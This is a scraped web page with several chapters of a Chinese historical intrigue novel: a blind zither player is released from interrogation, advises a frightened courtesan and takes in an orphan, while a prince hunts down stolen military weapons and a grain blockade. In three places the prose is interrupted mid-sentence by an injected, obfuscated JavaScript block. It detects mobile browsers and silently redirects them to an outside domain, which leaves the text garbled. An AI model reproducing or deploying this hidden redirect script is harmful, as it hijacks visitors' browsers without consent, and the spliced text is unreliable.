“至于琴师居所，”裴昭雪若有似无地扫过若嵁那双安静交叠于膝上的手，“也已彻底搜查。其内陈设简朴，唯琴与劣质松香桐油数块…及些许笔墨。除日常用度之物，并无任何可疑信物、密函或能佐证其与逆匪、军械案直接关联之物证。” 一线晨光自高窗透入，尘埃在光柱间无声飞舞。 刑房角落，原本令人窒息的威压，被裴昭雪平铺直叙的汇报凿开了一道口子。 周放离纹丝未动，但下颌线绷紧的弧度略微松弛。炬目逡巡在若嵁的脸上，试图从中再榨取出破绽，却只探出了近乎虚无的平静。 若嵁交叠的手指微蜷，指腹似乎仍残留着火舌舔舐纸张时微烫触感。 幸而她重伤苏醒之后，早已焚尽或可暴露秘密的旧痕。灰烬已随风散尽，只余下此刻心腔里无声的搏动。 “哦？”周放离低沉的声音中带着意兴阑珊的嘲弄，那滔天的压迫感如潮水般退去，却沉淀下更深的审视，“如此看来，倒真是本王多疑，先生实乃无辜受累了？” 周放离的目光从若嵁身上移开，落向裴昭雪，裹着尘埃落定后的冰冷倦怠。 “既然查无实证，”周放离敲定最后的裁决，“此案…暂且作结。翠云阁一干人等，着即开释。” “是。” 裴昭雪躬身领命，并无多余言语。 周放离瞥了一眼角落那抹素青身影，那层薄纱隔绝了所有的窥探，也隔绝了好恶探究。他冷哼一声，拂袖转身，玄色衣袂带起一阵裹挟着铁锈与血腥气的风。 沉重的脚步声远去，铁门再次合拢，隔绝了刑房内外。 唯余若嵁一人，静坐于尘埃浮动的光柱旁。 裴昭雪并未立刻离开，他走近几步，停在若嵁身前不远，温声道：“先生受惊了。王爷有令，先生可自行离去。” 若嵁缓缓“抬眸”，覆纱的面容朝向裴昭雪声音的方向，微微颔首，声音平静无波：“多谢裴长史，有劳。” 她扶着冰冷的石壁站起身，青衫微有褶皱，步履艰涩却无犹疑，向着门口的方向，一步一步，走向那扇重新开启的门，也走向暂时脱身，却依旧被重重疑云笼罩的囚笼之外。 在周放离的点拨下，若嵁此时方明了—— 这盘拙劣的棋局，她是推手，亦是棋子。 暮色带着劫后余生的粘稠感，沉甸甸地压在翠云阁的飞檐上。 阁内人去楼空，脂粉香气被铁锈与尘灰的味道冲淡，徒留一片狼藉的寂静。 红绡蜷于凌乱的闺房角落，似一尊失了魂魄的精美瓷器。一日一夜过去，血迹干涸，香炉火炭皆已倾倒，满室寂冷。 恐惧如同无情的藤蔓，缠绕着她的心脏，每每起搏跳动都带来窒息般的痛楚。 阿弟稚嫩的脸庞在眼前晃动，旋即又被瓦剌人狞笑的面具撕碎。 门轴轻响，晚风飘入，驱散了房中令人作呕的血腥余味。红绡被寒意激得一颤，惊惶抬头。 若嵁立在门口，青衫素净，形容狼狈，却有清骨在身。 “红绡姑娘。” 昏黄烛火下，那道剪影在摇曳的焰火摇摆中张牙舞爪。 红绡瞳孔骤缩，身体紧绷，望向若嵁的目光再不见往日倾慕。 若嵁以寥寥数语，决断昭翎死亡命运的一幕在红绡眼前重现。 这份果决带来的森然忌惮瞬间压过恐惧，她下意识地想后退，脊背抵上冰冷的墙壁。 “先生来此，所谓何事？”红绡的声音干涩发颤，带着绝望的尖利。 若嵁反手合上门，摸索着走至西窗琴台，指尖拂过桌沿沾染的灰尘，淡然道：“取琴。” 红绡急促的呼吸声，以及藏于其中的惊惧，自然无法逃脱她敏锐的耳朵。若嵁哂笑一声，轻声道： “红绡姑娘何故惧我？难道不该谢我？” 红绡紧咬下唇，尝到一丝腥甜。她死死盯着若嵁，试图从那层白纱后窥探到些微动容的情绪，却终是枉然。 “先生昨日…弃子无情，红绡不敢忘。”她的指甲嵌进掌心，声若蚊蝇。 “无情 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16533422|186437||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ？”若嵁冷笑出声，隐约带着洞悉世事的疲惫，“红绡，昭翎已是死棋。留着他，你、你阿弟、整个翠云阁，皆是他黄泉路上的祭品。弃他，是唯一生门。我予你选择，你选了生路，何来无情？杀人于你，可并非难事。” “阿弟他……” “以稚子为质，钳制女子为其爪牙，此等行径，卑劣至极。”若嵁截断红绡自陈，声音陡然转冷，暗藏锋锐，“细作培养不易，昭翎既已毙命于燕王之手，他们又又岂会轻易迁怒于一个‘惊惧报官’的花魁？” 红绡并非蠢人，否则也不能习得玲珑手段，在翠云阁内长袖善舞。 她心中稍有宽慰，而后又被更深的恐惧淹没：“可…他们不信我。先生，你不知他们的手段……” “我知道。”斩钉截铁的语气，带着千钧之力，压下了红绡的惶急。 “正因如此，你越表现得惊惧无助，唯唯诺诺，越符合一个被意外卷入刺杀、侥幸逃生的弱女子形象。他们要的是情报，而非替罪羊。” 窗外，春雨复至。 几道影子模糊投落在窗纸上，发出轻微的窸窣声响。 若嵁似有所感，手指搭上案角的琴。指尖在琴轸上看似随意拨弄了一下，发出沉闷短促的单音。 红绡熟知若嵁行事，从无闲笔，燕王余威尚在，遂压低声音道：“奴便只能做他们手中的傀儡吗？” “傀儡？”若嵁的指腹在琴弦上虚虚一按，虽未发出声响，却按下了红绡的慌乱，“线，未必总在他人手中。” 她微微倾身，靠近红绡耳侧，如同情人间的呢喃私语：“昭翎已死，但你的花魁身份尚在，此为你阿弟的生路。” “先生…是要我继续……” “是‘稳住’。”若嵁纠正道。 指尖在琴弦上极轻地划过，带起一串不成曲调的低微颤音，如同她话语中暗藏的机锋。 “稳住他们，让他们相信你依旧可用，依旧惶恐，依旧被牢牢攥在手心。唯有如此，你阿弟才能暂时安全。而唯有他安全，你才有挣脱枷锁的可能。” 红绡的呼吸急促起来，混乱思绪在若嵁的剖析下逐渐梳理清晰。 “然后呢？我该如何做？若他们派来新的接头人…我又该如何应对？” “等。” 若嵁直起身，恢复了惯常的平静姿态，声音依据低微，“原先在苍梧的布局已被燕王重创。他们需要时间评估你的‘忠诚’与‘价值’，这便你的喘息之机。” 指尖再次覆上琴弦，轻拢慢捻。 这一次，流泻出的是一段极其舒缓，带着安抚意味的泛音小调，如同山涧清泉，潺潺流淌，悄然抚平着红绡紧绷到极致的神经。 琴音袅袅，在暗沉的房间里盘旋。 红绡怔怔地望着若嵁沉静如水的侧影，心中翻江倒海。 昭翎的血、阿弟的脸、瓦剌的威胁、燕王的疑忌、以及眼前这人深不可测的言语…… 恐惧仍在，被强行注入的理智，正艰难地压过那灭顶的绝望。再抬头时，她眼中虽惊惶未褪，却已凝聚起风月场上，花魁应有的脆弱又坚韧风情。 “红绡多谢先生指点。”她声音微哑，却不再颤抖，对着若嵁的方向，极其缓慢地，点了一下头。 若嵁指尖的琴音缓缓收止，余韵消散在渐浓的夜色里。她听出了红绡的认命，亦听出了她孤注一掷的依附。 遂，不再多言，转身，青衫拂过门槛，无声地融入廊下阴影。 27. 碣石调·幽兰（二十六） 雨势渐收，守在翠云阁花魁红绡窗外，负责监视的王府亲卫，留守二人，遣一人先行离去，将所见所闻悉数禀明。 周放离素来不喜书房沉闷，照例在别院水榭办公，批阅军报。 裴昭雪低声简短回报： 「翠云阁暂无异动，花魁红绡惊惧失常，琴师若嵁停留片刻，奏琴安抚后离去。」 笔锋在听闻“若嵁”之名时，略有停滞，留下一点深重墨迹，周放离随即又若无其事地继续书写。 而在那双幽暗的眼眸深处，疑虑并未消融，反而在平静的表象下，凝结得更加坚实。他着笔批复： 「观棋不语。然落子处，必有回响。盯紧。」 夜色如墨，水榭内虽烛火通明，却难以驱散沉积的寒意。 隋然一身风尘，单膝跪地，沉稳道： “禀王爷，按黑云寨余党供述，末将率部捣除苍梧内外窝点三处巢穴。剿灭残匪二十七人，缴获制式军械共计：弓弩一十七张，箭矢三百余，环首刀三十柄，皮甲二十副。” 他略有迟疑，浓眉紧锁，沉吟道：“…此数目，与柳守备所供‘大部分流入黑云寨’之数，相差甚巨。经随行匠作辨认，鹰愁涧所缴弓弩形制、箭簇锻痕，如出一辙。” 语气坚毅，隐透出对搜查结果的笃定。 周放离批报的手微顿，在纸上洇开一团浓黑。肩胛处的伤口也似被牵动，传来阵阵尖锐刺痛。 “差了多少？”他眉心轻蹙，缓缓抬眼，嘶哑道。 “据柳守备口供及军械库档册，失窃甲胄当在百副以上，兵刃、弓弩更倍于此数。现下所缴，十不足三。”隋然语速不快，字字清晰，“末将已反复清点、搜查，三处窝点掘地三尺，确无更多藏匿。” 惯穿白衣的裴昭雪侍立一旁，眸光掠过周放离紧绷的侧影，开口打破了凝滞： “王爷。黑云寨众总数不过百，胃口不会太大。纵得军械，仓促间亦难尽数转移隐匿。” 他向前微倾，姿态恭谨，“柳守备前番供词，恐未尽实。此人刻意隐瞒军械分流，绝非仅售与黑云寨余孽及蕃商。其背后，当另有一条更隐秘，也更致命的输送脉络。” 周放离撂下紫毫笔，指节因用力而泛白，额角青筋隐隐跳动。他闭上眼，深吸一口气，强行压下胸中翻腾的杀意。 再睁眼时，已有所清明： “再审。无论使何种手段，也要撬开他的嘴。” 裴昭雪躬身离去。 刑房阴冷血腥，甫一踏进，裴昭雪周身的温润气质尽褪。 与前次不同，他并未亲执刑具。 静立于刑架前丈许，裴昭雪的月白身影在昏黄火把映照下，依旧恍若谪仙临尘。然其目光，要比一旁烧红的烙铁更令人胆寒。 “柳大人，” 裴昭雪语气堪称平和，似诉故事，娓娓而来，“隋将军已按你所供，尽数剿灭黑云寨窝点。可惜，所获军械数目，与你所言，天差地别。” 柳守备又喜又惧。 可喜先前一番搪塞，总算给燕王添了许多麻烦；可惧这玉面郎君，手段竟这般狠辣。 强压下唇边蠢蠢欲动的嘲意，污血混杂冷汗自额角淌下。 “我原以为，”裴昭雪缓步上前，加重语气。靴底踏过湿冷石地，发出轻微声响，却如同踩在柳守备心尖，“你在宦海沉浮，怎得就出了个刺杀王爷的昏招？除却替子报仇之外，犯下的事端只怕要祸及家族。 然一计不成，岂可再施？单凭黑云寨留下的些许人马，如何能掩盖那批更庞大的军械流向？” 彻骨寒意自脊背逆流而上，冲上柳守备后脑。他表情凝滞，喉咙里间或发出“嗬嗬”的抽气声。 “柳大人，世上可并非只有你一个聪明人。老来子如掌中宝，鼎力相助你的家族便该被你弃如敝帚吗？” 裴昭雪停在他面前，俯视着那张扭曲面孔，轻声道，“这绫罗绸缎堆砌起来的皮子，可受不得再重的刑了。” 安抚的语调令柳守备惊惧更甚。旋即，便听他续道： “大人眼前尚有一良机。不妨，如实告知——那批足以装备数百精锐的军械，究竟流向何处？” 刺杀燕王，实有重利可图。丧子之痛锥心，又得昭翎从旁怂恿，柳守备遂将忠义二字全然抛诸脑后。 此刻，他的身体剧烈颤抖致刑架铁链铿响，咬破的嘴唇渗出血丝。犹疑再三，赌了这条生路。 待裴昭雪步出刑房，已至戌时。 他回房濯洗，换了身素锻常服，往别院内园去了。 园中古树枝桠嶙峋，其下，湖水凝滞，泛着幽冷镜光。于这一池寒水中央，枯荷断梗簇拥，孤悬着座湖心亭。 暖阁轩窗半启，透出融融烛火，映着阁内慵懒剪影。 周放离斜倚锦榻，玄色蟒袍衬得他面容冷峻如削。他半阖着眼，指节无意识地随着下首琴音轻叩榻沿，似在聆听，又似神游于万里烽烟。 “王爷。” 周放离挥退琴师，朝裴昭雪微颔。 裴昭雪将供状呈于燕王身前，一一陈述： “被盗军械，去处有三。其一，黑云寨余党常十三娘众。其二，瓦剌细作昭翎，在苍梧镇以蕃商自居，借此走私了二成军械……” 他略作停顿，果见周放离蓦地睁开眼，先前被琴音安抚的愤懑情绪似要卷入重来。 “哼…瓦剌、鞑靼等异族，虽资源贫瘠，却善制造铁器。拿着边城士卒的军械资敌，当真是好样的。” “王爷息怒。”裴昭雪张口敷衍，又将话题转回。 “至于其三，具体是谁，柳守备亦不知。对方每次交割指令下达，皆极为精准。不仅对军械库轮值、巡防路线了如指掌，更对王府近期动向，似有窥探……” 未竟之言是何用意，周放离已无需明说。 指间的玉石扳指重重磕在榻沿，断裂的截面，割开了他的掌心。鲜血顺着指缝滴落在地毯上，晕开暗红。 他眸中冰封的怒火，裂开一道深沉的寒意。 封地中枢…大同府…北平府…… 看似恭顺的僚属之中…竟藏着条能调动军械，操控守备，甚至妄图将他玩弄于股掌之间的毒蛇。 而这条毒蛇的背后，是否连着京都府那双年轻却暗藏忌惮的眼睛？连着那即将赴任太原府的威远侯？还是…… 那远在漠北，眈眈虎视的瓦剌王庭？ 染血的手指重重划过案上沾染墨痕与血迹的舆图，圈出封地的位置，又点了点苍梧镇。 他的目光如淬毒的利刃，仿佛已穿透重重关山，钉死在那藏于府衙深处的阴影之上。 半晌，恰在裴昭雪欲出声时，周放离无端嗤笑，声音低沉沙哑，暗藏猎猎杀机： “好个灯下黑…这两年本王修生养性惯了，倒教人忘了‘阎王’何来？！本王倒要看看，是哪个魑魉，在本王的卧榻之侧，兴风作浪！” 他自腰间摘下一枚缠枝如意纹金印，面向裴昭雪，厉声道： “持本王金令，即刻返回燕王府。封地内，凡涉军械案属官——无论品阶，就地羁押。若有抗命，就地格杀。” “是。” 裴昭雪领命欲退，又被周放离截住，“罢了。即刻启程，返归王府。本王要亲自…清理门户！” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16533423|186437||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “王爷！”裴昭雪素来平静的面容，终是裂了一道缝，语气里带着几分咬牙切齿，“王爷此时行动，势必打草惊蛇，还请三思。” 周放离轻啧。 那潜藏暗处的第三方势力，对他们行踪了如指掌。我等在明，彼辈在暗，欲除这班蛀虫，须得一网打尽，否则遗祸无穷。 “让隋然带一路人马，与你同去。” 裴昭雪推辞，“王爷伤势未愈，隋将军应……” “此去非易途，万事小心，勿忘通信。”周放离摆手，示意他离去。 水榭骤寂，烛火摇曳，将周放离的身影拉长投于冷壁，如蛰伏猛兽。 连日耗损，疲惫与萧索沉沉压下，肩胛处的刺痛愈发尖锐。他踱至临水窗边，推开木窗。 夜风裹挟水汽扑面。 园中草木凋零，湖水倒映晦暗天穹，几点寒星孤悬。 远处灯火模糊，如隔迷雾。 周放离转身，目光扫过案几：沾染墨点与血迹的舆图，带着刑房铁锈血腥气的供状，无声诉说阴谋与背叛。 “来人。” 亲卫无声而入。 “取酒来。” 粗陶酒坛随即奉上。 浑浊酒液散发浓烈辛辣，与水榭雅致格格不入。 周放离拍开泥封，拎起沉重酒坛，仰头便灌。灼热酒液如铁水滑喉，烧灼至腹，带来短暂麻痹与暖意，却难驱散心头阴霾与周身寒凉。 酒气上涌，额角青筋跳动，肩胛伤口在烈酒刺激下，痛如万针穿刺。 灌下几大口，他放下酒坛粗喘。 辛辣冲鼻，烛火光晕微晃。 周放离抹去唇边酒渍，指腹触到掌心被扳指割开的伤口。 酥痒的刺痛令他混沌思绪清醒几分。 鹰愁涧的血色黄昏闪过眼前，那些悍不畏死的黑云寨余孽，尤其是常十三娘眼中燎原的仇恨与绝望。 他们无非被世道逼至绝路，终成棋盘弃子。 棋局未终，尸骸狼藉。 “传典仪。”周放离的声音因饮酒，更加低沉喑哑。 亲卫领命离去。 周放离倚着冰冷窗棂，望向沉沉夜色，又拎坛灌了一口。 不多时，典仪疾至门外见礼：“卑职参见王爷。” “进来。” 典仪小心踏入，垂首肃立。 周放离转身，阴影里难辨晦暗，“寻常百姓客死他乡，贫寒无力归葬…丧仪如何？” 典仪微愣，躬身答：“回王爷，多是邻里相帮，寻无主荒地或义冢，草席裹身入土。讲究些的念段往生咒，烧些纸钱。棺椁法事风水，非贫寒之家敢想。” “草席裹身…入土为安……”周放离低语，目光落于烛火。“…若无亲无故，背负恶名死于非命？” “此等人…官府验明正身，若无苦主认领，衙役收敛，或…弃于乱葬岗，曝骨荒野，以儆效尤。” “乱葬岗…”周放离嘴角勾起一抹极淡冷嘲。 “本王知道了。”声音复归清明，决断不容置疑，“黑云寨余党尸首，可是停在义庄？” “是，王爷。” “给他们置口薄棺。无需法事风水，在鹰愁涧附近，寻个背风向阳，能望山涧的高地，埋了。” 典仪愕然：“王…王爷？他们是谋逆重犯……” “照办！”周放离声音陡然转厉，又兀自低喃，“鹰愁涧…是他们生地，亦是死地。葬那，正好。” “是。”典仪不敢再留，慌忙躬身退去。 周放离走回窗边，拎起残酒，一饮而尽。 “我的死地又在何处？” 28. 碣石调·幽兰（二十七） 昨夜雨疏风骤，吹得陋室门窗吱呀作响，倒教若嵁难得沉入一场酣眠。 梦里，她独居高阁，万卷藏书环伺，得以徜徉古今天地。有人予她谆谆教诲，授她百家文章。自总角之岁至二八年华，学业虽艰，然她颖悟天成，亦是自得其乐。 呼啦—— 劲风混着湿冷的桃李残香，蛮横地撞开那扇本就摇摇欲坠的破窗，也将若嵁彻底拽离了她片虚幻的安宁。 “……那琴师还没醒？你守了一夜，加急回去添身衣裳。” “行。待我回来，匀你一件。” 窗外刻意压低的私语，逃不过若嵁灵敏的耳力。不过，她对此并无异议，反倒有几分乐见其成。 自她重伤苏醒，这方寸陋室便“宾客”盈门。有夺人之物，还欲行灭口的陆氏旧人；有飞檐走壁，行踪诡秘的花魁与蕃商；更有受命于燕王日夜监视她行止、探查她根底的王府亲卫…… 位高者疑心重，周放离虽纵了她，却从未信她。左右前事已毕，她这枚棋子暂可搁置一旁，倒也省了与局中人虚与委蛇的力气，得以喘息。 约莫又假寐了小半个时辰，寒气愈发侵骨。若嵁起身，摸索着裹上厚实外衫，拄起盲杖，挪到窗边。 目不能视，她自然瞧不见昨日枝头缀满的透亮花苞，今晨已在微亮的天光下萎落大半，残瓣粘着湿冷的泥土。 “杀千刀的！这雨才下几天？一场倒春寒，粮价就又涨了三成！屋里这几个半大小子，都要给老娘吃穷了！你还要充大去接济那小丫头？！”铁匠娘子的声音洪亮依旧，焦灼埋怨撞破院墙。 铁匠沉闷的回应带着无奈：“她爹妈城外走亲，夜宿破庙，哪晓得就遭了贼人毒手？！可怜呐……” “我不晓得她可怜？住北城的，哪个不可怜？可粮价……”铁匠娘子声线陡然拔高，绝望控诉，“不知南边出了甚变故，听说粮道都断，不知还要翻上几番？！” “不是还有大同府的粮仓？”铁匠安抚道。 “官仓里那点子陈米，连军爷的口粮都紧巴巴，哪里还轮得到咱们这些贱民？！再这么涨下去，莫说接济，咱们这一家子都得勒紧裤腰带喝西北风！” “粮道断了？”若嵁倚在窗边，指尖无意识在粗糙的窗棂上划过。 边镇、粮价、军械……来自本能的不安深深攫住了她的心神。 若嵁将这几个词在心底反复斟酌，仍是无疾而终。 后话被渐远的脚步声打断，隔壁木门吱呀洞开，一丝微弱的咸香气息逸散出来。 若嵁无声地牵了牵嘴角。到底是个面硬心冷的妇人。刀子嘴下，终究舍了半碗活命的粥。 至于夫妻俩口中的女童，她亦有些印象。 少年镰生受人引导做了伪证，正是被她一句“坏人又不刻在脑门上，得处过才晓得！”点破。还有……每每她在院中抚琴时，墙角暗处那道时浅时重的、小心翼翼的呼吸声。 驱散脑中纷乱的残影，若嵁拄杖出门，循着记忆和微弱的香气，走向街口的素面摊子。 一碗热汤面下肚，勉强驱散了寒意。结账时，摊主报出的价格，比记忆中贵了五文。 她未置一词，默默数出铜钱递过去。指尖触及对方粗糙的手掌，觉察因生计艰难而产生的紧绷。遂又额外要了两份，小心地用油纸包好，提在手中。 归家的路不长。行至院墙根下，断断续续的抽泣声便钻进耳中。那哭声压抑着，细若游丝，带着的绝望。 若嵁脚步微顿，侧耳倾听片刻，拄杖循声走近。 “你唤何名？”她声音放得轻缓，尽量不惊扰这份悲伤。 抽泣声戛然而止。片刻死寂后，一个带着浓重鼻音的小小声音响起：“云娘……爹娘唤我云娘。” 云娘抬起泪眼，怯生生地觑着眼前覆着素纱的琴师。 若嵁虽不能视，却敏锐地捕捉到对方呼吸的停顿与细微的移动，带着恐惧与畏缩。骤失双亲，前路惶惶，浮萍无根，无怪如此。 北城之地，挣扎求生的穷苦人比比皆是。孩子生得多，夭折的亦不在少数。更有为换几口粮食，便被卖与富贵人家为奴为婢的。 在这里，成人活着尚且不易，遑论一个骤然失怙，无所依凭的女童？ 那沉重的命运，如同此刻压在头顶的铅灰色云层，无需多问，已是昭然。 若嵁沉默片刻，将手中尚有余温的油纸包，朝着抽泣声传来的方向，轻轻递了一个过去。 油纸包散发的微弱暖意和食物香气，让抽噎声再次停顿。 云娘小心翼翼地看着递来的纸包，又抬首看向眼前神情难辨的若嵁。小手在脏污的衣襟上蹭了又蹭，才迟疑地伸出，飞快地接了过去，紧紧抱在怀里。 “谢……谢谢先生。”声音细若蚊蚋。 若嵁并未及时回应这声答谢。她的面容沉静依旧，空茫一片的记忆深处却隐隐被这哭声刺痛。唤起一道模糊而遥远的记忆碎片—— 曾几何时，或许也有人，这般无助地哭泣过？ 她无从分辨，亦无力深究。 “拿着。”若嵁将另一份油纸包也递了过去，低声吩咐道，“跟我来。” 言罢，她兀自转身。盲杖点在湿冷泥泞的地面，发出笃、笃的轻响，在寂静的巷子里显得格外清晰。 院墙角落的阴影里，奉命监视的王府亲卫交换了个眼神。 一人压低嗓子，戏谑道：“嘿…这瞎子搞甚名堂？自己都养不活，还捡个拖油瓶？” 另一人嗤笑，语气更加冷漠： “穷酸文人，惯爱摆这副悲天悯人的姿态。王爷说得没错，此人看似落魄，心机却深。收留孤女，焉知是在豢养耳目，还是沽名钓誉？盯着便是，一个瞎子，一个丫头，翻不出天去。” 他顿了顿，补充道：“粮价飞涨，苍梧镇人心浮动，这琴师偏在此时收养孤女……啧，记下来，事无巨细，抱与王爷知晓。” “琴师若嵁收留孤女云娘”这一条，被清晰地记录在当日的监视密保中，旁边还添了句“粮价暴涨，民怨渐起”。 吱呀一声，破旧的木门被推开，复又合上，隔绝了外界的寒风与窥探。 陋室内，寒气依旧。 若嵁摸索着走到墙角堆放杂物的破席旁，指了指：“以后，你睡这里。” 云娘抱着两份面，怯怯地站在门边，看着墙角一堆干草破席。 屋子里虽简陋阴冷，却比与父母挤在一张破床上要开阔得多。 她用力点了点头，眼眶微红，却强忍着没让泪掉下来，声音里带着一种急于证明价值的惶恐： “先生，我会洗衣，会做饭，很好养的！我…我眼神好，耳朵也灵！” 若嵁看不见她的表情，却能清晰觉察那份小心翼翼的感激、惶恐，以及……源于求生本能的机敏。她顿了顿，开口的语气生硬： “我眼盲，行动不便。你既说眼神好，耳朵好，那便替我留意着。” 声音虽不高，却带着一种不容置疑的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16533424|186437||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 意味，“巷子里进出了哪些生面孔，街坊四邻说了些什么话，一一报与我。我……”她略作停顿，斟酌着这桩交易的公平性，“供你一日三餐，一席之地。” 燕王别院水榭 案头堆积如山的军报文牍，被一盏孤灯映照。 周放离肩胛处的旧伤在湿冷春寒里隐隐作痛，比之更刺骨的，是封地内鬼未除，军械流向不明的阴霾。 他强压着焦躁，批阅着无关痛痒的请安折子，每一笔朱批都带着沉郁的戾气。 恰在此时，北城琴师的密报呈了上来。 铜兽香炉吐出的青烟被窗隙漏进的寒风吹散。周放离指腹一错，纸页上的墨字在烛火下晕开阴翳。 他掠过前文，目光在“粮价暴涨，民怨渐起”八字上稍作停顿。 累牍的折子蓦地被周放离横扫在地。他的喉间滚出一声极低的冷笑，眸光锋利。 前夜裴昭雪的密信已然剖开真相—— 「粮道非天灾，实为人祸。漕船受遣以运‘石料’，堵塞永定河咽喉，举意在拖滞王爷归期。 粮价一日三涨，恐民怨沸腾，流言四起，指向王府调度不力。事态紧急，恳请王爷设法速开官仓，弹压局面，迟恐生变！」 此计阴毒。 粮乃民之命脉，粮道堵塞，绝非疥癣之疾。 粮价涨幅若不加节制，无异于在饥饿的百姓心头剜肉。一旦恐慌蔓延，饥饿驱使之下，流民四起、盗匪横生只在旦夕。 他的治下若因粮荒而生乱，岂非天大笑话？更甚者，有心人稍加煽动，这滔天民怨便会如野火燎原，直指王府。 届时，民心离散，燕王府在封地的威信将荡然无存。 开放官仓，或可一试。 然…… 明知这祸患迫在眉睫，周放离却感到前所未有的掣肘。这份掣肘，正来自龙椅之上那位日益猜忌的新帝周承寰。 先前他因军械失窃一案，干涉地方吏治。虽事出有因，却已引得朝中风言风语，更有政敌威远侯在太原府虎视眈眈。 开仓放粮，赈济灾民，此乃大同知府之权责。 燕王周放离虽有统兵之权，却无直接插手民政，调度官仓之权。若他此刻明发钧令，强行开仓，无异于公然越权，将“藩王干政、图谋不轨”的罪名亲手递到他人刀口之下。 此次若再越雷池，便真是授人以柄，坐实了拥兵自重，藐视朝廷的指控。届时，削藩夺权的圣旨，恐怕会比开仓的粮食来得更快。 案头孤灯剧烈摇曳，素白纸张一触即燃。 直至指腹传来一阵灼痛，周放离肩胛处旧伤剧痛与心头的暴怒逐渐平息。沉静下来的眸光，却更显幽深难测。 “来人！” 阴影中，亲卫无声跪伏。 “将密信暗中传于大同知府、布政使司仓大使。” 周放离提笔在空白素笺上疾书—— 粮价飞腾，民怨载道，恐生大变。官仓存粮，当速议开粜平抑之法，以安民心，靖地方。迟误生乱，尔等难辞其咎！ 密笺封入蜡丸。 此为警告，亦是指引。让地方官自己“看清形势”，主动提出开仓申请，明目上便名正言顺。 素笺上不带任何王府印记。周放离尽可在背后施加足够的压力，教他们不敢拖延。 水榭内，烛火将周放离孤峭的身影曳长，投于冰冷壁上。窗外夜浓如墨，倒春寒风呜咽似兆风暴。他负手而立，凝望着那片深不见底的黑暗。 29. 碣石调·幽兰（二十八） 及至燕王府亲卫踏入大同府衙，已是寅时三刻，夜色最浓稠、人心最易松懈之时。 白日里威严肃穆的府衙，此刻唯有巡夜家丁模糊的窸窣声，在深不见底的回廊间游荡，更添几分死寂。 一道黑影悄无声息地滑过高墙。他并非强闯，而是如入无人之境，闲庭信步般掠过檐角、廊柱、假山暗影，最终悄无声息地停驻在书房门廊的梁上。 门扉紧闭，内栓紧锁。 一枚薄如柳叶的细刃自门缝探入，悄无声息地挑开内栓。黑影闪身而入，旋即反手又将门轻轻掩上。 书房内寂静如初，唯有清冷的月光透过窗棂，在地上投下冰冷的方形剪影。黑影并未停留，也未触碰任何物件。 转瞬，一枚浑圆无痕的蜡丸稳稳地立在笔山正中央那支狼毫笔的笔斗旁。 那道黑影匿于书架阴影里，气息收敛到极致，侧耳倾听着府衙深处更漏的滴答，直至确认万无一失，才无声离去。 卯时初，天色将明未明。 大同知府关文弼步入书房，习惯性地坐到书案后。他的目光落在案头摊开的邸报上，指尖却无意识地反复摩挲着那枚凭空出现的冰冷蜡丸。 蜡丸及内里的信笺无印无痕，唯有字迹间呼之欲出的锋锐之气，霎时刺破了关文弼一直以来笼罩心头的重重忧思与迷障。 这传递的路数，不显山，不露水。单是这潜入府衙如履平地，放置蜡丸不留痕迹的本事，已非常人所能。 更遑论…… 关文弼捏紧蜡丸，指尖微微发白。 柳守备勾结京中权贵私窃军械一事，关文弼怎会毫无所觉？ 然而，柳氏一族在苍梧、大同，乃至京都，早已盘根节错，牵一发动全身。且看这知府位上的前几任—— 有与污浊同流合污者，有刚正不阿却莫名去职者，更有甚者，累及家人，阖府遭难。 关文弼也曾怀抱激浊扬清、肃正纲纪的理想。可这官场，是口深不见底的染缸。宦海沉浮多年，唯余“和光同尘”四字贴在身前，得以苟全仕途在，庇护一家老小。 他重重地将手中那份早已被捏得发皱的邸报搁置一旁，目光回落在蜡丸上。 小巧玲珑，却又重逾千斤。 指节用力。 啪嗒—— 一声脆响，蜡丸应声碎裂。 关文弼取出其间卷得极细的纸条，凑到烛火上，付之一炬。火光跳跃，映在他深沉的眼眸里，明灭不定。 此非对策，而是威慑。 措辞间隐含的森然威压与对局势洞若观火的判断，岂是等闲人物能有的手笔？ 燕王周放离尚未就蕃时，其“凶戾嗜杀、冷酷无情”的恶名早已席卷北境，令人闻之色变。关文弼自然以为，在这尊煞神封地上为官，定要如履薄冰，曲意逢迎，方能保全。 可柳守备监守自盗军械被清查之迅速，神鬼莫测的传递手段，纸条上的洞见威势……无不指向那位暂留苍梧的燕王。 关文弼凝视着烛火，与喉间溢出的叹息一同出现的，是深切的困惑与动摇，“燕王这浊名之下，究竟藏着怎样一颗心？又有几分是真，几分是……欲盖弥彰？” 窗外寒风肆起，风云变幻莫测。 